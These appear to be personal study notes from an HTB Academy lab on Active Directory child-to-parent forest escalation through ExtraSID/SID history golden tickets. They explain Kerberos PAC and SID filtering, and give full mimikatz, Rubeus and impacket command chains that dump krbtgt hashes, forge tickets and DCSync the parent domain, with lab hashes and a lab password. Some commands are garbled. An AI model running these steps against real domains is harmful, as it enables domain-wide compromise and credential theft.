Notes

🌲 Forest privilege escalation / trust abuse technique

Forest-level escalation & trust abuse: SID history, Extra SID, cross-forest golden tickets.

Forest privilege escalation / trust abuse technique

Golden Ticket Attack + SID Prime Attack

Understanding SID History Injection Attack

What is Extra SID?

Extra SID = Additional group identities added to your PAC that you don’t normally belong to.

An Extra SID Attack is a Kerberos ticket forgery technique where an attacker inserts additional privileged SIDs into the ExtraSIDs/SIDHistory section of the PAC to gain permissions that the user does not legitimately possess.

📘 Core Concept: Why This Attack Works

This attack works because of three Active Directory design behaviors:

Concept | Explanation |
— | — |
Kerberos tickets carry authorization data | Group SIDs are embedded inside the TGT |
SIDHistory allows cross-domain authorization | Old SIDs remain valid after migration |
Intra-forest trusts disable SID filtering by default | Parent domain accepts SIDs from child domain |

Because of these:


Attacker controls child domain

        │

        ▼

Attacker forges a TGT

        │

        ▼

Adds parent domain privileged SID

        │

        ▼

Parent domain trusts the SID

        │

        ▼

Attacker gains forest-level privileges

1️⃣ What “Domain Trust” Means in Active Directory

When two domains trust each other, it means:


Users from Domain A

can access resources in

Domain B

The Domain Controller (DC) in Domain B will accept authentication from Domain A.

Example:


User: alice@LOGISTICS.INLANEFREIGHT.LOCAL

tries to access

Server: FILE01.INLANEFREIGHT.LOCAL

Flow:


LOGISTICS DC → authenticates Alice

        │

        ▼

Parent DC trusts LOGISTICS

        │

        ▼

Access decision made

2️⃣ Trusts Inside an AD Forest

Inside a forest, trusts are created automatically when a domain is added.

Example forest:


INLANEFREIGHT.LOCAL (Root Domain)

        │

        ├── LOGISTICS.INLANEFREIGHT.LOCAL

        ├── HR.INLANEFREIGHT.LOCAL

        └── IT.INLANEFREIGHT.LOCAL

When LOGISTICS is created:


Trust automatically created with parent

Trust properties

These trusts are:

Property | Meaning |
— | — |
Two-way | Both domains trust each other |
Transitive | Trust extends across forest |
Automatic | Created by AD automatically |

Example:


HR trusts LOGISTICS

LOGISTICS trusts IT

IT trusts HR

because the trust is transitive.

🔑 Understanding SID and Authorization

Every AD object has a SID.

Example:


User SID

S-1-5-21-2806153819-209893948-922872689-1105

Group membership adds additional SIDs.

Example token:


User SID

Domain Users

Domain Admins

Enterprise Admins

When accessing resources:


Windows checks → Access Token SIDs

NOT the username.

This is extremely important.


Authorization = SID based

NOT username based

3️⃣ Why SID Filtering Exists

Remember that authorization in Windows is SID-based.

Example access token:


User SID

Domain Users SID

Domain Admin SID

Enterprise Admin SID

If an attacker could simply add any SID, they could escalate privileges.

Example forged token:


User: hacker

SIDs:

  Domain Users

  Enterprise Admins

Without protection, this would grant forest-level privileges.


4️⃣ SID Filtering Protection

To prevent this, Microsoft introduced SID Filtering.

SID filtering means:


When a domain receives authentication from another domain

it removes SIDs that do not belong to the trusted domain

Example:

User authenticates from Domain A.

Token contains:


Domain A SID

Enterprise Admin SID from Domain B

With SID filtering enabled:


Domain B removes foreign SID

Result:


Enterprise Admin SID removed

Attack fails.

5️⃣ Why SID Filtering Is Disabled Inside a Forest

Inside the same forest, Microsoft disabled SID filtering by default.

Reason: migration compatibility.

Example scenario:

A company merges two domains.

User migration happens:


Old domain → NEWDOMAIN

User receives new SID:


S-1-5-21-NEWDOMAIN-1105

But old resources still use old SID:


S-1-5-21-OLDDOMAIN-1105

So AD stores:


sidHistory = old SID

When the user logs in:


Access Token contains

Primary SID

+ SIDHistory

If SID filtering were enabled:


Old SID removed

User would lose access to migrated resources.

So Microsoft decided:


Within same forest → allow SIDHistory

Which means:


SID filtering disabled

6️⃣ Which Trusts Allow the ExtraSID Attack

The attack works only when SID filtering is not enforced.

✔️ Attack Works

Trust Type | SID Filtering | Attack |
— | — | — |
Intra-forest parent-child | Disabled | Possible |
Intra-forest tree-root | Disabled | Possible |

Example:


LOGISTICS → INLANEFREIGHT

❌ Attack Fails

Trust Type | SID Filtering |
— | — |
External domain trust | Enabled |
Forest trust | Enabled |
Cross-forest trust | Enabled |

Example:


companyA.com → companyB.com

Here:


SID filtering = ON

So injected SIDs are removed.

7️⃣ Where SID Filtering Is Configured

On the trust relationship itself.

Domain Controllers store trust settings in AD.

Admin can view it using:


Active Directory Domains and Trusts

Or PowerShell.

Example:


Get-ADTrust

Important attribute:


SIDFilteringForestAware

8️⃣ What Happens During Authentication (Why the Attack Works)

When a parent DC receives authentication from a child domain:


Child domain authenticates user

        │

        ▼

Kerberos ticket contains SIDs

        │

        ▼

Parent domain builds access token

If SID filtering is disabled:


Parent DC keeps all SIDs

Example ticket:


User: hacker

Domain: LOGISTICS

SIDs:

LOGISTICS\Domain Users

INLANEFREIGHT\Enterprise Admins

Parent DC sees:


Enterprise Admin SID present

Result:


User treated as Enterprise Admin

9️⃣ How the Domain Controller “Disables” SID Filtering

For parent-child trusts, AD sets it automatically.

When the child domain is created:


TrustDirection = Bidirectional

TrustType = ParentChild

SIDFiltering = Disabled

Reason:


SIDHistory must work across forest domains

So AD allows foreign SIDs from trusted domains.

Example

🎯 Attack Goal

Escalate privileges:


Child Domain → Parent Domain

By forging a Golden Ticket with ExtraSID.


🧱 Attack Pathway Diagram


 Active Directory Forest: INLANEFREIGHT.LOCAL

                                ▲

                                │

              ┌────────────────┴────────────────┐

              │                                 │

     Child Domain (LOGISTICS)        Parent Domain (INLANEFREIGHT)

              │                                 │

      Compromised User Account           Enterprise Admin Group

              │                                 ▲

              └────────────── SID Injection ────┘

                                 ExtraSID

📌 Requirements

Requirement | Purpose |
— | — |
Child domain KRBTGT hash | Sign forged ticket |
Child domain SID | Build ticket identity |
Child domain name | Kerberos realm |
Username | Identity inside TGT |
Parent Enterprise Admin SID | ExtraSID privilege escalation |

🧪 Step 1 — Dump KRBTGT Hash (Child Domain)


mimikatz

lsadump::dcsync/user:LOGISTICS\krbtgt

Purpose:


Retrieve KRBTGT secret key

Example output:


Hash NTLM: 9d765b482771505cbe97411065964d5f

This key is used to sign forged Kerberos tickets.

🧪 Step 2 — Get Child Domain SID


Get-DomainSID

Output:


S-1-5-21-2806153819-209893948-922872689

This builds the user SID in the forged ticket.


🧪 Step 3 — Get Parent Enterprise Admin SID


Get-DomainGroup-Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"

Output:


S-1-5-21-3842939050-3880317879-2865463114-519

Important part:


RID 519 = Enterprise Admins

This SID will be injected.


🛑 Step 4 — Confirm No Access


ls \\academy-ea-dc01.inlanefreight.local\c$

Output:


Access is denied

Attacker has no parent domain privileges yet.


🎟️ Step 5 — Forge Golden Ticket with ExtraSID


mimikatz

kerberos::golden

/user:hacker

/domain:LOGISTICS.INLANEFREIGHT.LOCAL

/sid:S-1-5-21-2806153819-209893948-922872689

/krbtgt:9d765b482771505cbe97411065964d5f

/sids:S-1-5-21-3842939050-3880317879-2865463114-519

/ptt

🔍 What This Command Actually Does

Creates a forged TGT containing:


User: hacker

Domain: LOGISTICS

Primary SID: Child domain SID

ExtraSID: Enterprise Admins (Parent)

Kerberos ticket now contains:


User SID

+

Enterprise Admin SID

So when authentication occurs:


Authorization token includes Enterprise Admin

📄 Step 6 — Verify Ticket


klist

Output:


Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL

Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL

Ticket is now in memory.


🗂️ Step 7 — Access Parent Domain DC


ls \\academy-ea-dc01.inlanefreight.local\c$

Now access works.

Why?

Because the authorization token contains Enterprise Admin SID.


📤 Step 8 — Confirm Privilege with DCSync


mimikatz

lsadump::dcsync/user:INLANEFREIGHT\lab_adm

Output:


NTLM Hash: 663715a1a8b957e8e9943cc98ea451b6

This proves:


Attacker = Enterprise Admin

Example - 2

🌳 Forest Setup

Example forest:


INLANEFREIGHT.LOCAL (Parent / Root Domain)

│

├── LOGISTICS.INLANEFREIGHT.LOCAL (Child Domain)

│

└── HR.INLANEFREIGHT.LOCAL (Child Domain)

Trust properties:


✔ Two-way

✔ Transitive

✔ Automatic

✔ SID Filtering Disabled (intra-forest)

Meaning:


Parent domain accepts SIDs coming from child domains

🔑 Attacker Position

Attacker compromised child domain:


LOGISTICS.INLANEFREIGHT.LOCAL

Attacker obtains:


Child Domain SID

Child KRBTGT Hash

Now attacker can forge Kerberos TGTs.


🎟 Forged Golden Ticket Structure

Example forged ticket:


User: hacker

Domain: LOGISTICS.INLANEFREIGHT.LOCAL

Primary SID

S-1-5-21-LOGISTICS-1105

ExtraSID

S-1-5-21-INLANEFREIGHT-519

Where:


519 = Enterprise Admin

So the ticket claims:


"hacker" ∈ Enterprise Admins

🔎 Scenario 1 — Existing User

User exists in child domain.

Example:


LOGISTICS\john

Attack flow:


Attacker

   │

   │ Forge TGT for john

   │ Add ExtraSID (Enterprise Admin)

   ▼

Golden Ticket

Ticket content:


User: john

SID: LOGISTICS-1105

ExtraSID: INLANEFREIGHT-519

Now authentication flow:


john → Parent DC

      requests TGS

DC logic:


✔ Ticket signature valid

✔ Issued by trusted domain

✔ SID filtering disabled

Resulting token:


User: LOGISTICS\john

Groups:

LOGISTICS\Domain Users

INLANEFREIGHT\Enterprise Admins

Result:


john becomes Enterprise Admin in parent domain

🔎 Scenario 2 — Non-Existing User

This is the interesting one.

Attacker creates fake identity.


User: hacker123

This user does NOT exist in AD.

Forged ticket:


User: hacker123

Domain: LOGISTICS

Primary SID

S-1-5-21-LOGISTICS-5000

ExtraSID

S-1-5-21-INLANEFREIGHT-519

Signed with:


KRBTGT hash of LOGISTICS

🧠 Why This Still Works

Because Kerberos trusts the ticket, not the user object.

The authentication stage was already “completed”.

Golden Ticket skips the AS-REQ stage.

Normal Kerberos flow:


AS-REQ  → Authentication

TGS-REQ → Authorization

Golden Ticket starts directly at:


TGS-REQ

🔄 Actual Authentication Flow

Attacker accesses resource on parent domain:


\\DC01.INLANEFREIGHT.LOCAL\C$

Kerberos interaction:


Attacker

   │

   │ Present forged TGT

   ▼

Parent Domain Controller

DC verification:


✔ Ticket signature valid

✔ Ticket issued by trusted child domain

✔ Ticket lifetime valid

The DC does NOT do this check:


❌ Does user "hacker123" exist?

Because it assumes:


Authentication already happened in child domain

⚙️ Token Creation Inside Parent DC

The DC reads authorization data inside ticket.


Primary SID → LOGISTICS-5000

Extra SID   → INLANEFREIGHT-519

Token generated:


User: LOGISTICS\hacker123

Groups:

INLANEFREIGHT\Enterprise Admins

Authorization decision:


if token contains Enterprise Admin SID

      allow privileged access

Result:


Access granted

🔓 Resource Access Example

Attacker connects to:


\\DC01.INLANEFREIGHT.LOCAL\C$

Server receives token:


LOGISTICS\hacker123

Enterprise Admin

Access check:


Enterprise Admin → Full privileges

Result:


Attacker controls parent domain

🔗 Why Child Domain Can Escalate to Parent

Because of trust relationship.

Trust rule:


Parent trusts authentication from child domain

So when the ticket says:


Issued by LOGISTICS KDC

Parent assumes:


LOGISTICS domain already verified this user

And since SID filtering is disabled:


ExtraSID is preserved

So parent accepts:


Enterprise Admin SID

Example - 3

Extra SID Attack Is Usually Used For

1. Forest Privilege Escalation ⭐

Most common use case.


Child Domain Compromised

        ↓

Get Child KRBTGT

        ↓

Forge Ticket

        ↓

Add Parent EA SID in ExtraSIDs

        ↓

Become Enterprise Admin

This is where Extra SID attacks became famous.


2. Trust Abuse

Suppose:


child.corp.local

       ↔

corp.local

Attacker controls:


child.corp.local

Extra SID allows:


Child User

     ↓

PAC contains

Enterprise Admin SID

     ↓

Parent Domain Trusts SID

     ↓

Escalation

3. Chained After DCSync

Common HTB chain:


Low User

   ↓

Kerberoast

   ↓

DA

   ↓

DCSync

   ↓

KRBTGT

   ↓

Golden Ticket

   ↓

Extra SID Attack

   ↓

Enterprise Admin

Common Chains

Chain 1 - Child → Forest Root

Classic exam scenario.


Compromise Child Domain

      ↓

DCSync Child KRBTGT

      ↓

Extra SID Attack

      ↓

Add Root Enterprise Admin SID

      ↓

Forest Compromise

Chain 2 - Golden Ticket + Extra SID


KRBTGT Hash

      ↓

Forge Golden Ticket

      ↓

Insert Extra SID

      ↓

Cross Domain Privilege Escalation

The Extra SID is simply another field inside the forged PAC.


Chain 3 - Diamond Ticket + Extra SID


Legitimate TGT

      ↓

Modify PAC

      ↓

Add Enterprise Admin SID

      ↓

Re-sign PAC

Same idea.

Golden Ticket + Extra SID PoC - Windows

Step 1 - rdp to windows machine

xfreerdp /u:htb-student_adm /p:‘HTB_@cademy_stdnt_admin!’ /v:10.129.232.164 /cert-ignore /bpp:8 /network:modem /compression -themes -wallpaper /clipboard /audio-mode:1 /auto-reconnect -glyph-cache /dynamic-resolution

Step 2 - run mimikatz to get the ntml hash of krbtgt

..exe # lsadump::dcsync /user:LOGISTICS

Credentials:

Hash NTLM: 9d765b482771505cbe97411065964d5f

ntlm- 0: 9d765b482771505cbe97411065964d5f

lm - 0: 69df324191d4a80f0ed100c10f20561e

Step 3 - getting the sid of child domain

S-1-5-21-2806153819-209893948-922872689

Step 4 - getting the sid of Enterprise Admins

S-1-5-21-3842939050-3880317879-2865463114-519

At this point, we have gathered the following data points:

  • The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f

  • The SID for the child domain: S-1-5-21-2806153819-209893948-922872689

  • The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We’ll choose a fake user: hacker

  • The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL

  • The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

Step 5 - run mimikatz

..exe

kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

Step 6 - list the content on C: drive and read the flag file

ls \academy-ea-dc01.inlanefreight.local$

type “\academy-ea-dc01.inlanefreight.local$.txt

Golden Ticket + Extra SID PoC - Linux

Step 1 - ssh to linux machine

Step 2- get the hash of krbtgt

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

password - HTB_@cademy_stdnt_admin!

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::

Step 3 - grab the sid of domain

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep “Domain SID”

S-1-5-21-2806153819-209893948-922872689

Step 4 - get the sid of enterprise admin

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 “Enterprise Admins”

Step 5 - perform the attack using ticketer.py tool

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Step 6 - run secretsdump to get the hash of user bross

impacket-secretsdump -just-dc-user bross -just-dc-ntlm LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Extra Sid Attack

Understanding The Core Concept

🧠 Big Picture First (One Sentence)

This attack works because Kerberos trusts the PAC issued by a trusted domain, and Windows authorization blindly honors ExtraSIDs (SIDHistory) when SID filtering is not enforced inside a forest.

Everything else is mechanics.

📌 Requirements:

Requirement | Purpose |
— | — |
KRBTGT NTLM hash (child) | Create Golden Ticket |
Child domain SID | Needed to build the ticket |
FQDN of child domain | Domain name of forged ticket |
Username (can be fake) | Username inside forged TGT |
Parent Domain Enterprise Admins SID | Added as ExtraSID (grants full forest access) |

Prerequisites for SID History / ExtraSID (Child → Parent) Attack

1️⃣ Child Domain Must Be Compromised (Critical)

You must already have high privilege in the child domain.

Required capability:

  • Ability to DCSync the child domain

This usually means:

  • Domain Admin OR

  • Equivalent replication privileges

👉 Without child-domain compromise, the attack is impossible.


2️⃣ Child Domain KRBTGT Hash

Why it is required:

  • Used to cryptographically sign the forged Golden Ticket

  • Parent domain trusts tickets signed by child KRBTGT (due to forest trust)

How it’s obtained:

  • DCSync against krbtgt in child domain

👉 This is the core cryptographic requirement.


3️⃣ Intra-Forest Trust Relationship

The child and parent must be in the same Active Directory forest.

Required trust properties:

  • Transitive

  • Bidirectional

  • Automatic (default inside forest)

Why:

  • Parent domain accepts Kerberos tickets issued by child domain

❌ External trust alone is not sufficient.


4️⃣ SID Filtering Must Be Disabled (Default in Forest)

Why:

  • SID filtering removes foreign high-privilege SIDs

  • Inside a forest, SID filtering is disabled by default

Effect:

  • ExtraSID (Enterprise Admin SID) is accepted without validation

👉 This is the authorization flaw being abused.


5️⃣ Child Domain SID

Purpose:

  • Required to construct a valid child-domain identity

  • Used as the base SID of the forged ticket

Without this:

  • Ticket structure is invalid

6️⃣ Parent Domain Enterprise Admin SID

Purpose:

  • Injected as ExtraSID into the Kerberos PAC

  • Grants forest-wide administrative privileges

Important:

  • Only the SID value is required

  • No group membership or AD modification needed


7️⃣ Any Username (Existing or Fake)

Important clarification:

  • User does NOT need to exist

  • Kerberos does not verify user existence for a signed TGT

Why this works:

  • Authorization is SID-based, not object-based

1️⃣ What Is Actually Being Abused Here?

This is NOT a vulnerability in:

  • Mimikatz

  • Kerberos crypto

  • NTLM hashes

This is an abuse of:

Component | What’s abused |
— | — |
SIDHistory | SIDs are trusted without origin validation |
Kerberos PAC | Contains authorization data, not validated cross-domain |
Intra-forest trust | SID filtering disabled by default |
Authorization model | Token-based, SID-based |

2️⃣ SIDHistory vs ExtraSID (Critical Clarification)

Important distinction:

Term | Where it lives |
— | — |
sidHistory attribute | Stored in AD user object |
ExtraSID | Lives inside Kerberos PAC |

⚠️ Golden Ticket does NOT modify AD objects

It injects SIDHistory logically, not physically.

👉 ExtraSID in a forged ticket behaves exactly like sidHistory during authorization.


3️⃣ Why Trust Is the Core Requirement

🔗 Intra-Forest Trust Model

Inside a forest:


ChildDomain  ───(Transitive Trust)───>  ParentDomain

Key properties:

  • Trust is automatic

  • Trust is bidirectional

  • Trust is transitive

  • SID Filtering = DISABLED

💥 This last point is why the attack works.


🔍 Why SID Filtering Is Disabled

SID filtering is disabled by design to support:

  • Account migrations

  • SIDHistory usage

  • Legacy access preservation

Microsoft assumed:

“Only trusted admins exist inside a forest”

This assumption fails once a child domain is compromised.


4️⃣ Where the Attack Lives in Kerberos (Very Important)

This attack abuses authorization, not authentication.

Kerberos phases:

  1. Authentication

  2. Authorization

This attack happens after authentication succeeds.


5️⃣ Kerberos Ticket Internals (PAC Explained Simply)

Every TGT contains a PAC (Privilege Attribute Certificate).

PAC contains:

  • User SID

  • Group SIDs

  • ExtraSIDs (SIDHistory)

  • Privileges

  • Domain info

When you forge a Golden Ticket, you control:


PAC → AuthorizationIdentity

The KDC does not re-validate PAC contents for trusted domains.


6️⃣ Why the Child KRBTGT Hash Is Enough

Key misunderstanding people have:

“Why does child KRBTGT allow parent access?”

Because:

  • The parent domain trusts tickets signed by the child

  • Signature validation ≠ authorization validation

Flow:


Parent DC:

✔ Signaturevalid(child krbtgt)

✔ Domain trusted

❌ Does NOT validate ExtraSID origin

👉 Ticket accepted.

Example

7️⃣ Step-by-Step: What Logically Happens During the Attack

Let’s walk it exactly as Windows sees it.


🧩 Step 1: Child Domain Is Compromised

Attacker already has:

  • DCSync rights in child

  • KRBTGT hash

This is post-compromise escalation, not initial access.


🧩 Step 2: Attacker Forges a TGT

They create a TGT with:

  • Fake username

  • Valid child domain SID

  • Signed with child KRBTGT hash

So far:


Ticket is 100% valid cryptographically

🧩 Step 3: ExtraSID Is Added

Attacker inserts:


Parent Enterprise Admin SID

This goes into:


PAC → ExtraSIDs[]

At this point:

  • No AD object modified

  • No sidHistory attribute touched


🧩 Step 4: Ticket Is Injected (PTT)

The forged TGT is loaded into LSASS.

From Windows’ view:


User authenticated successfully

🧩 Step 5: Accessing Parent Domain Resource

When attacker accesses:


\\parent-dc\c$

Parent DC performs:

✔ Authentication

  • Ticket signature valid

  • Trust exists

✔ Authorization

  • Extract PAC

  • Build access token

Token contains:


User SID (child)

+ ExtraSID (Enterprise Admin)

🧩 Step 6: Authorization Decision

ACL on parent DC:


Allow: Enterprise Admins

Token check:


Does tokencontain EA SID?

→ YES (ExtraSID)

→ ACCESS GRANTED

💥 No group membership check

💥 No SID origin validation

💥 No alert by default


8️⃣ Why This Is Called “SID History Priming”

Because:

  • You are pre-loading authorization SIDs

  • Before any access check

  • Without modifying AD

It’s logical SIDHistory, not physical.


9️⃣ Why This Enables DCSync in Parent Domain

DCSync checks:


Does caller have Replication privileges?

Enterprise Admins:

  • Have replication rights forest-wide

Since the EA SID exists in token:


DCSync allowed

This completes forest compromise.

Why the Username Isn’t Re-checked

Once a ticket is issued, the system assumes:


The KDC already validated this user earlier

So the service server only checks:


✔ Ticket signature

✔ Ticket validity time

✔ Authorization SIDs

Not:


❌ Does the user object exist?

Because the KDC is the source of truth.

Golden Ticket works because attackers steal the KDC signing key (KRBTGT) and impersonate it.


🔥 Why This Attack Is So Powerful

Reason | Impact |
— | — |
No AD modification | Very stealthy |
Uses valid crypto | No ticket tampering alerts |
Works intra-forest | Child → Parent escalation |
Persistent | Until KRBTGT reset |

🛡️ Why External Trusts Usually Block This

External trusts:

  • Have SID filtering enabled

  • Strip foreign high-privilege SIDs

So:


ExtraSID removed → attack fails

This is why forest trust context matters.


🧠 Mental Model (Lock & Keys)


Golden Ticket =Valid passport

ExtraSID = VIPaccess badge

Trust = Border agreement

SID filtering =Securitycheckpoint

Nocheckpoint + VIP badge = unrestrictedaccess

🧾 Final Attack Logic Recap (Pure Logic)

  1. Forest trust allows child tickets

  2. SID filtering disabled

  3. PAC includes ExtraSID

  4. Authorization trusts PAC

  5. ACL matches SID

  6. Access granted

  7. Domain escalated

Sid History & Kerberos Pac

1️⃣ sidHistory — the Active Directory attribute

What it is

sidHistory is a real, legitimate, multi-valued AD attribute on user and computer objects.

Purpose (legitimate):

  • Preserve access during account/domain migrations

  • Allow users to keep access to resources secured with old SIDs

Key point:

sidHistory does nothing by itself — it only becomes effective during logon.


Where it lives

  • Stored in AD database (NTDS.dit)

  • On objects like:


CN=User,CN=Users,DC=domain,DC=local
  • Contains one or more old SIDs

Example conceptual value:


sidHistory:

  S-1-5-21-OLD-DOMAIN-1001

  S-1-5-21-OLD-DOMAIN-512

What Windows does with sidHistory

When a user authenticates:

  1. KDC reads the user object

  2. Finds sidHistory values

  3. Treats them as additional identities

  4. Forwards them into the Kerberos authorization data

⚠️ No privilege check is done on the SID values themselves

Why SIDHistory / ExtraSID Exists

The ExtraSID concept exists mainly for migrations.

Example scenario:

Company migration:


OLD-DOMAIN.LOCAL

        ↓

NEW-DOMAIN.LOCAL

Users move to a new domain but must retain access to old resources.

Microsoft solves this with SIDHistory.

User after migration:


Primary SID  → New domain

SIDHistory   → Old domain

So when the user accesses an old file server:


File ACL contains OLD-DOMAIN SID

Access still works because the SID is present in the token


2️⃣ Kerberos PAC — where authorization actually happens

What is the PAC?

The Privilege Attribute Certificate (PAC) is a data structure embedded inside Kerberos tickets.

It is NOT authentication data

It is authorization data.

PAC contains:

  • User SID

  • Group SIDs

  • Privileges

  • ExtraSIDs

  • Domain info


PAC is what Windows trusts for access decisions

When a resource is accessed:


Kerberos Ticket → PAC → Access Token → ACL check

ACLs never query AD again.


3️⃣ ExtraSID — the PAC representation of sidHistory

What ExtraSID is

ExtraSID is a field inside the PAC that holds:

SIDs that should be treated exactly like group SIDs during authorization

In normal operation:


PAC.ExtraSids ← AD.sidHistory

Important equivalence (THIS IS THE CORE)

Windows makes NO distinction between:

  • Group membership SIDs
  • SIDHistory SIDs
  • ExtraSIDs in PAC

If the SID is present in the token → it grants access


4️⃣ Legitimate End-to-End Flow (Normal Scenario)

Let’s connect everything.

Step-by-step:

  1. User logs in

  2. KDC authenticates user

  3. KDC reads AD object

  4. Finds:

    • Primary SID
    • Group memberships
    • sidHistory
  5. Builds PAC:

    PAC.Groups    = Domain groups
    PAC.ExtraSids = sidHistory values
    
  6. Ticket issued

  7. Client accesses resource

  8. Resource server builds access token

  9. Token contains all SIDs

  10. ACL matches SID → access granted

✔ That is the legitimate use case

Logic + Conditions

1️⃣ Parent–Child Trust Must Exist (Inside the Same Forest)

For the ExtraSID / child → parent Golden Ticket escalation to work, the domains must be connected like this:


Forest

│

└── ROOT DOMAIN

    INLANEFREIGHT.LOCAL

        │

        ├── CHILD DOMAIN

        │   LOGISTICS.INLANEFREIGHT.LOCAL

        │

        └── CHILD DOMAIN

            HR.INLANEFREIGHT.LOCAL

When a child domain is created, Active Directory automatically creates a trust.

Properties of this trust:


✔ Two-way

✔ Transitive

✔ Inside same forest

✔ SID filtering disabled

This is the exact condition that enables the attack.


2️⃣ Why the Trust Is Required

When the parent DC receives a ticket issued by the child domain, it checks:


Was this ticket issued by a trusted domain?

Because the trust exists:


LOGISTICS  → trusted by → INLANEFREIGHT

the parent domain accepts the ticket.

Without this trust:


Ticket rejected

3️⃣ What Happens During the Attack

You compromise the child domain:


LOGISTICS.INLANEFREIGHT.LOCAL

You obtain:


Child Domain KRBTGT hash

Child Domain SID

Then you forge a ticket:


User: attacker

Domain: LOGISTICS

Primary SID

LOGISTICS user SID

ExtraSID

INLANEFREIGHT Enterprise Admin SID

Because SID filtering is disabled inside the forest, the parent domain keeps the ExtraSID.


4️⃣ What the Parent Domain Controller Thinks

When the forged ticket reaches the parent DC:


Step 1

Ticket signed by LOGISTICS KRBTGT

Parent thinks:


✔ Issued by LOGISTICS domain controller

✔ LOGISTICS is trusted

So it proceeds.

Then:


Step 2

Token creation

Parent DC reads SIDs in the ticket:


User SID

Extra SID → Enterprise Admin

Token built:


LOGISTICS\attacker

Enterprise Admin

Now the attacker effectively becomes Enterprise Admin of the forest.

5️⃣ When This Attack Would NOT Work

This attack fails if:

❌ No trust exists

Example:


COMPANY.LOCAL

LAB.LOCAL

Two completely separate forests.

Then:


Ticket from LAB → rejected by COMPANY

❌ SID filtering is enabled

External trusts normally enable SID filtering.

Meaning:


Foreign SIDs removed from ticket

So the injected Enterprise Admin SID disappears.


6️⃣ The Key Requirement (Pentester Mental Checklist)

For child → parent escalation:


1️⃣ Same forest

2️⃣ Parent-child trust exists

3️⃣ SID filtering disabled (default intra-forest)

4️⃣ Child domain KRBTGT compromised

Then the attack works.

Windows

🔍 Step 1: Dump KRBTGT Hash (Child Domain)

Command:


powershell

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

Purpose: Retrieve NTLM hash of KRBTGT account to sign forged Kerberos tickets.

Output:


Hash NTLM: 9d765b482771505cbe97411065964d5f

🔍 Step 2: Get Child Domain SID

Command:


powershell

Get-DomainSID

Output:


S-1-5-21-2806153819-209893948-922872689

🔍 Step 3: Get Parent Domain Enterprise Admins Group SID

Command:


Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins"

Output:


S-1-5-21-3842939050-3880317879-2865463114-519

🛑 Step 4: Confirm No Access (Before Attack)

Command:


powershell

ls \\academy-ea-dc01.inlanefreight.local\c$

Output:


Access is denied

🎟️ Step 5: Create Golden Ticket with ExtraSID Using Mimikatz

Command:


mimikatz

kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL `

/sid:S-1-5-21-2806153819-209893948-922872689 `

/krbtgt:9d765b482771505cbe97411065964d5f `

/sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

Explanation:

  • Creates a forged TGT for hacker@LOGISTICS.INLANEFREIGHT.LOCAL.

  • ExtraSID adds Enterprise Admin group from parent.

  • /ptt – Inject the ticket directly into memory.

Output Summary:


[*] Forged a TGT for 'hacker'

[*] Extra SIDs: S-1-5-21-...-519

[+] Ticket successfully submitted for current session

📄 Step 6: Verify Ticket Injection (Memory)

Command:


powershell

klist

Output:


Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL

Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL

Flags: forwardable renewable initial

🗂️ Step 7: Access Parent Domain DC

Command:


powershell

ls \\academy-ea-dc01.inlanefreight.local\c$

Output:


Volume in drive ... has no label.

Directory of \\academy-ea-dc01.inlanefreight.local\c$

Program Files, Users, Windows, etc.

Access granted!


🧪 Alternative: Golden Ticket via Rubeus

🔧 Command:


powershell

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f `

/domain:LOGISTICS.INLANEFREIGHT.LOCAL `

/sid:S-1-5-21-2806153819-209893948-922872689 `

/sids:S-1-5-21-3842939050-3880317879-2865463114-519 `

/user:hacker /ptt

✅ Successfully injects ticket with ExtraSID via Rubeus.


📤 Step 8: DCSync from Parent Domain (Privilege Confirm)

Command:


powershell

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm

Explanation:

  • Targeting an account in the parent domain.

  • If successful → attacker is treated as Enterprise Admin (SID spoofed!).

Output:


NTLM Hash of lab_adm: 663715a1a8b957e8e9943cc98ea451b6

Linux

✅ Step 1: Extract KRBTGT Hash (Child Domain)


bash

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

🔍 Breakdown:

  • just-dc-user: dump a specific user’s secrets

  • LOGISTICS/krbtgt: KRBTGT user of child domain

  • Output includes NTLM and Kerberos keys

🖥️ Sample Output:


ruby

krbtgt:502:aad3b...:9d765b482771505cbe97411065964d5f:::

✅ Step 2: Find Child Domain SID


bash

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"

[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689

✅ Step 3: Find Enterprise Admins SID in Root Domain


bash

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114

...

519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)

S-1-5-21-3842939050-3880317879-2865463114-519

